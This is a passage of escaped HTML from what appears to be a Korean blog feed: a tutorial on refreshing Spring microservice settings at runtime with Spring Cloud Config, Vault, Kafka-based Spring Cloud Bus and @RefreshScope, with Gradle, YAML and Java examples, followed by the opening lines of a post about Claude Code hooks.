&lt;p data-path-to-node=&quot;14&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이제 수동 호출의 번거로움에서 벗어나, 데이터가 흐르듯 자연스럽게 반영되는 &lt;b data-index-in-node=&quot;42&quot; data-path-to-node=&quot;14&quot;&gt;이벤트 중심의 설정 관리 아키텍처&lt;/b&gt;를 만나보시죠.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Dynamic Configuration Management 아키텍처&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;mungshop_architecture.png&quot; data-origin-width=&quot;1360&quot; data-origin-height=&quot;1160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dLurTU/dJMcabqlqgF/JuyUS7B8krD5OaJYLKbV8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dLurTU/dJMcabqlqgF/JuyUS7B8krD5OaJYLKbV8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dLurTU/dJMcabqlqgF/JuyUS7B8krD5OaJYLKbV8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdLurTU%2FdJMcabqlqgF%2FJuyUS7B8krD5OaJYLKbV8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1360&quot; height=&quot;1160&quot; data-filename=&quot;mungshop_architecture.png&quot; data-origin-width=&quot;1360&quot; data-origin-height=&quot;1160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;위 구조는 Configuration Server의 백엔드로 Github가 아닌 Vault 서버를 사용한 케이스입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1. Vault Change &amp;amp; Monitor Trigger (갈색 실선)&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Source of Truth:&lt;/b&gt; 모든 설정의 근원지는 &lt;b&gt;Vault Server&lt;/b&gt;입니다. 할인율이나 비밀번호 같은 민감 정보가 여기서 관리됩니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Trigger:&lt;/b&gt; Vault에서 값이 변경되면 외부(관리자 또는 스크립트)에서 Config Server의 &lt;code&gt;POST /monitor&lt;/code&gt; 엔드포인트를 호출합니다.&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;i&gt;Note:&lt;/i&gt; 이미지에 표시된 대로 &lt;code&gt;monitor&lt;/code&gt; 모듈이 이 요청을 받아 시스템 전파를 시작하는 입구 역할을 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2. Bus Broadcast (초록색 점선 &amp;mdash; Control Plane)&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Propagation:&lt;/b&gt; Config Server는 이벤트를 발행(&lt;code&gt;publish event&lt;/code&gt;)하여 &lt;b&gt;Kafka Broker&lt;/b&gt;의 &lt;code&gt;springCloudBus&lt;/code&gt; 토픽으로 보냅니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Fan-out:&lt;/b&gt; Kafka에 연결된 모든 마이크로서비스(&lt;code&gt;order&lt;/code&gt;, &lt;code&gt;user&lt;/code&gt;, &lt;code&gt;payment&lt;/code&gt; 등)는 이 메시지를 구독하고 있다가 즉시 수신합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Reload Trigger:&lt;/b&gt; 각 서비스 내부의 &lt;b&gt;&lt;code&gt;@RefreshScope&lt;/code&gt;&lt;/b&gt;가 이 신호를 감지하고 해당 빈(Bean)들을 리로드할 준비를 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;3. Config Pull (파란색 실선 &amp;mdash; Data Plane)&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Fetch:&lt;/b&gt; 신호를 받은 마이크로서비스들은 이제 &lt;b&gt;&quot;어떤 값이 바뀌었는지&quot;&lt;/b&gt; 가져오기 위해 Config Server(8888 포트)로 &lt;code&gt;HTTP Pull&lt;/code&gt; 요청을 보냅니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Internal Read:&lt;/b&gt; Config Server는 설정된 &lt;code&gt;profiles.active: vault&lt;/code&gt;에 따라 Vault에서 최신 데이터를 읽어와 서비스들에게 응답합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Final Apply:&lt;/b&gt; 서비스들은 받아온 최신값을 &lt;code&gt;@RefreshScope&lt;/code&gt;가 붙은 빈에 주입하며 런타임 갱신을 완료합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Dependency&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1. Config Server 전용 &lt;code&gt;build.gradle&lt;/code&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;컨피그 서버는 Vault와 통신하며, 외부 웹훅을 수신하고, Kafka(Bus)를 통해 이벤트를 전파해야 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;clean&quot;&gt;&lt;code&gt;dependencies {
    // 1. 컨피그 서버의 핵심 기능
    implementation 'org.springframework.cloud:spring-cloud-config-server'

    // 2. 외부 웹훅(/monitor) 수신 및 이벤트 변환기
    // 이 라이브러리가 있어야 POST /monitor 엔드포인트가 활성화됩니다.
    implementation 'org.springframework.cloud:spring-cloud-config-monitor'

    // 3. 메시지 브로커(Kafka)를 통해 신호를 전파하기 위한 통로
    implementation 'org.springframework.cloud:spring-cloud-starter-bus-kafka'

    // 4. 설정을 Vault에서 가져오기 위한 의존성
    implementation 'org.springframework.cloud:spring-cloud-starter-vault-config'

    // 5. 서버 상태 모니터링
    implementation 'org.springframework.boot:spring-boot-starter-actuator'
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2. 마이크로서비스 공통 &lt;code&gt;build.gradle&lt;/code&gt; (Order, Payment 등)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;각 서비스는 브로커로부터 신호를 감지하고, 실제 설정값을 다시 Pull 해온 뒤, 컨텍스트를 리프레시해야 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;clean&quot;&gt;&lt;code&gt;dependencies {
    // 1. 컨피그 서버로부터 설정을 받아오는 클라이언트 기능
    implementation 'org.springframework.cloud:spring-cloud-starter-config'

    // 2. Kafka를 통해 들어오는 Bus 이벤트를 수신
    // 이 라이브러리가 신호를 감지하여 '리프레시 로직'을 트리거합니다.
    implementation 'org.springframework.cloud:spring-cloud-starter-bus-kafka'

    // 3. 설정 갱신(Refresh) 로직을 실행하기 위한 핵심 도구
    // /actuator/bus-refresh 등을 통해 내부 상태를 관리합니다.
    implementation 'org.springframework.boot:spring-boot-starter-actuator'

    // 4. (선택) Vault 데이터를 직접 핸들링해야 할 경우 추가
    implementation 'org.springframework.cloud:spring-cloud-starter-vault-config'
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt; ️ 아키텍처적 포인트: 왜 이 조합인가?&lt;/span&gt;&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;&lt;code&gt;spring-cloud-config-monitor&lt;/code&gt; (서버측):&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이 녀석이 없으면 관리자가 웹훅을 쏴도 컨피그 서버가 알아듣지 못합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&quot;Webhook 데이터 -&amp;gt; Spring Cloud Bus 이벤트&quot;로 변환해주는 &lt;b&gt;어댑터&lt;/b&gt; 역할을 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;&lt;code&gt;spring-cloud-starter-bus-kafka&lt;/code&gt; (양측 공통):&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;서버와 클라이언트가 동일한 &lt;b&gt;Kafka 토픽(보통 &lt;code&gt;springCloudBus&lt;/code&gt;)&lt;/b&gt;을 바라보게 만듭니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;서버는 이 토픽에 'Write'하고, 마이크로서비스는 'Read'합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;&lt;code&gt;spring-boot-starter-actuator&lt;/code&gt; (클라이언트측):&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;신호를 받았을 때 실제로 내부의 &lt;code&gt;@RefreshScope&lt;/code&gt; 빈들을 갈아끼우는 &lt;b&gt;실행 주체&lt;/b&gt;입니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Configuration&lt;/span&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1. Config Server (&lt;code&gt;application.yml&lt;/code&gt;)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;컨피그 서버는 Vault에서 데이터를 읽어오고, 웹훅을 수신하여 Kafka로 뿌려주는 역할을 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;server:
  port: 8888

spring:
  application:
    name: config-server
  profiles:
    active: vault  # 설정 저장소로 Vault 사용
  cloud:
    config:
      server:
        vault:
          host: 127.0.0.1
          port: 8200
          scheme: http
          token: {YOUR_VAULT_TOKEN} # root 토큰 또는 관리자 토큰
          kv-version: 2
    # Bus 설정: Kafka 브로커 연결
    bus:
      enabled: true
      id: ${spring.application.name}:${server.port} # 버스 내 식별자
  kafka:
    bootstrap-servers: localhost:9092

# 웹훅(/monitor) 활성화를 위한 설정
management:
  endpoints:
    web:
      exposure:
        include: monitor, health, info&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2. 마이크로서비스 공통 (&lt;code&gt;application.yml&lt;/code&gt;)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;code&gt;order-service&lt;/code&gt;, &lt;code&gt;payment-service&lt;/code&gt; 등이 컨피그 서버와 통신하고 이벤트를 감지하기 위한 설정입니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;spring:
  application:
    name: order-service # 각 서비스의 이름
  config:
    import: &quot;optional:configserver:http://localhost:8888&quot; # 컨피그 서버 주소

  # Bus 및 Kafka 설정
  cloud:
    bus:
      enabled: true
      refresh:
        enabled: true # 버스 리프레시 활성화
  kafka:
    bootstrap-servers: localhost:9092

# 실시간 갱신을 허용하기 위한 엔드포인트 노출
management:
  endpoints:
    web:
      exposure:
        include: bus-refresh, health, info&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;아키텍처적 핵심 포인트&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;1. &lt;code&gt;spring.config.import&lt;/code&gt; (클라이언트)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Spring Boot 2.4+ 버전부터 도입된 방식입니다. 기존의 &lt;code&gt;bootstrap.yml&lt;/code&gt;을 대신하여, 앱이 뜨는 시점에 컨피그 서버에 접속하여 설정을 가져오도록 강제합니다. &lt;code&gt;optional:&lt;/code&gt;을 붙이면 컨피그 서버가 죽어있어도 앱이 뜨긴 하지만, 실무에서는 필수 정보가 많으므로 상황에 따라 제거할 수도 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;2. &lt;code&gt;spring.cloud.bus.id&lt;/code&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;분산 환경에서 각 인스턴스를 구분하는 ID입니다. 만약 &lt;code&gt;order-service&lt;/code&gt;가 3대 떠 있다면, 각각 고유한 ID를 가져야 브로커가 &quot;누구에게 신호를 보낼지&quot; 정확히 판단할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;3. &lt;code&gt;management.endpoints.web.exposure.include&lt;/code&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;서버 측 (&lt;code&gt;monitor&lt;/code&gt;):&lt;/b&gt; 외부 웹훅(Webhook)을 받기 위해 필수입니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;클라이언트 측 (&lt;code&gt;bus-refresh&lt;/code&gt;):&lt;/b&gt; 브로커로부터 온 신호를 해석하고 실제 리프레시 로직을 트리거하기 위해 필요합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Code Implementation&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;할인율 정책 변경&lt;/b&gt; 시나리오를 바탕으로 &lt;code&gt;@RefreshScope&lt;/code&gt; 적용 예제 코드를 작성해 드립니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;이 코드는 쇼핑몰의 주문 서비스(&lt;code&gt;order-service&lt;/code&gt;)에서 Vault에 저장된 설정값이 변경되었을 때, 애플리케이션 재시작 없이 어떻게 새로운 값을 즉시 참조하는지 보여줍니다.&lt;/span&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1. @RefreshScope 적용 Controller 예제&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;설정값(&lt;code&gt;min-order-amount&lt;/code&gt;, &lt;code&gt;discount-rate&lt;/code&gt;)을 직접 주입받아 사용하는 컨트롤러입니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;java&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;package com.mungshop.order.controller;

import org.springframework.beans.factory.annotation.Value;
import org.springframework.cloud.context.config.annotation.RefreshScope;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import java.util.HashMap;
import java.util.Map;

@RestController
@RequestMapping(&quot;/api/v1/orders/config&quot;)
@RefreshScope  // 핵심: 설정 변경 신호(Bus) 수신 시 이 빈(Bean)만 새로 생성함
public class OrderConfigController {

    // Vault 또는 Config Server에서 관리되는 동적 설정값
    @Value(&quot;${mungshop.order.min-amount:10000}&quot;)
    private long minOrderAmount;

    @Value(&quot;${mungshop.order.discount-rate:0.05}&quot;)
    private double discountRate;

    @GetMapping(&quot;/policy&quot;)
    public Map&amp;lt;String, Object&amp;gt; getOrderPolicy() {
        Map&amp;lt;String, Object&amp;gt; policy = new HashMap&amp;lt;&amp;gt;();
        policy.put(&quot;minimumAmount&quot;, minOrderAmount);
        policy.put(&quot;discountRate&quot;, (discountRate * 100) + &quot;%&quot;);
        policy.put(&quot;status&quot;, &quot;Active&quot;);

        return policy;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;2. @ConfigurationProperties 활용 예제 (권장)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;필드가 많아질 경우 &lt;code&gt;@Value&lt;/code&gt;보다는 &lt;b&gt;&lt;code&gt;@ConfigurationProperties&lt;/code&gt;&lt;/b&gt;와 &lt;code&gt;@RefreshScope&lt;/code&gt;를 조합하는 것이 아키텍처적으로 훨씬 깔끔하고 관리가 용이합니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;crystal&quot;&gt;&lt;code&gt;package com.mungshop.order.config;

import lombok.Data;
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.cloud.context.config.annotation.RefreshScope;
import org.springframework.context.annotation.Configuration;

@Data
@Configuration
@ConfigurationProperties(prefix = &quot;mungshop.order&quot;)
@RefreshScope // 설정이 바뀌면 이 객체 자체가 최신값으로 다시 로드됨
public class MungShopOrderProperties {
    private long minAmount;
    private double discountRate;
    private String supportContact;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;아키텍처적 작동 원리 (Behind the Scenes)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Proxy 패턴:&lt;/b&gt; Spring은 &lt;code&gt;@RefreshScope&lt;/code&gt;가 붙은 빈을 실제 객체가 아닌 &lt;b&gt;프록시(Proxy)&lt;/b&gt;로 감싸서 관리합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;신호 수신:&lt;/b&gt; Kafka(Bus)를 통해 &lt;code&gt;RefreshRemoteApplicationEvent&lt;/code&gt;가 도착합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;캐시 초기화:&lt;/b&gt; Spring Cloud는 내부적으로 해당 빈의 캐시를 날려버립니다(&lt;code&gt;invalidate&lt;/code&gt;).&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Lazy Reload:&lt;/b&gt; 이후 사용자가 해당 API를 호출하면, 프록시 객체가 &quot;어? 내 실제 객체가 없네?&quot; 하고 &lt;b&gt;새로운 설정값이 주입된 객체를 그제서야 생성&lt;/b&gt;하여 요청을 처리합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;주의사항: &quot;이것만은 꼭 체크하세요&quot;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Bean Scope의 한계:&lt;/b&gt; &lt;code&gt;@RefreshScope&lt;/code&gt;는 해당 클래스의 &lt;b&gt;필드값&lt;/b&gt;을 업데이트하는 것이 아니라, &lt;b&gt;클래스 인스턴스 자체를 새로 만드는 것&lt;/b&gt;입니다. 따라서 내부에 상태(State)를 가진 빈이라면 데이터 유실에 주의해야 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;DB Connection:&lt;/b&gt; 만약 DB URL이나 패스워드에 &lt;code&gt;@RefreshScope&lt;/code&gt;를 건다면, 갱신 시점에 기존 커넥션 풀이 끊기고 새로 맺어지는 과정에서 일시적인 지연이 발생할 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;Immutable Check:&lt;/b&gt; 주입받는 필드가 &lt;code&gt;final&lt;/code&gt;이면 안 됩니다. (Spring이 값을 다시 주입할 수 있어야 하기 때문입니다.)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Spring Microservice/Cofiguration Server</category>
      <author>헬로우월드</author>
      <guid isPermaLink="true">https://sundaland.tistory.com/1126</guid>
      <comments>https://sundaland.tistory.com/1126#entry1126comment</comments>
      <pubDate>Wed, 15 Apr 2026 15:02:16 +0900</pubDate>
    </item>
    <item>
      <title>Hooks</title>
      <link>https://sundaland.tistory.com/1122</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/ko/hooks&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://code.claude.com/docs/ko/hooks&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775788148341&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Hooks 참조 - Claude Code Docs&quot; data-og-description=&quot;Claude Code hook 이벤트, 구성 스키마, JSON 입출력 형식, 종료 코드, 비동기 hook, HTTP hook, 프롬프트 hook, MCP 도구 hook에 대한 참조입니다.&quot; data-og-host=&quot;code.claude.com&quot; data-og-source-url=&quot;https://code.claude.com/docs/ko/hooks&quot; data-og-url=&quot;https://code.claude.com/docs/ko/hooks&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bRVvIy/dJMb86O2Nyw/pfzh6StxAweAHqadNtS1dk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/bck1ZS/dJMb82eN2un/zko3HN1y3kKBCBYAsKMGPK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://code.claude.com/docs/ko/hooks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://code.claude.com/docs/ko/hooks&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bRVvIy/dJMb86O2Nyw/pfzh6StxAweAHqadNtS1dk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/bck1ZS/dJMb82eN2un/zko3HN1y3kKBCBYAsKMGPK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Hooks 참조 - Claude Code Docs&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code hook 이벤트, 구성 스키마, JSON 입출력 형식, 종료 코드, 비동기 hook, HTTP hook, 프롬프트 hook, MCP 도구 hook에 대한 참조입니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;code.claude.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt; ️ Claude Code의 자동화 핵심 'Hooks'&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;안녕하세요! 오늘은 클로드 코드(Claude Code)를 훨씬 더 똑똑하게 만드는 비밀 병기, &lt;b&gt;훅(Hooks)&lt;/b&gt;에 대해 알아보겠습니다. 매번 반복되는 설정을 일일이 입력하기 귀찮으셨다면, 이 글이 큰 도움이 될 거예요!  &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;1. 훅(Hook)이란 무엇인가요?  &lt;/span&gt;&lt;/h4&gt;
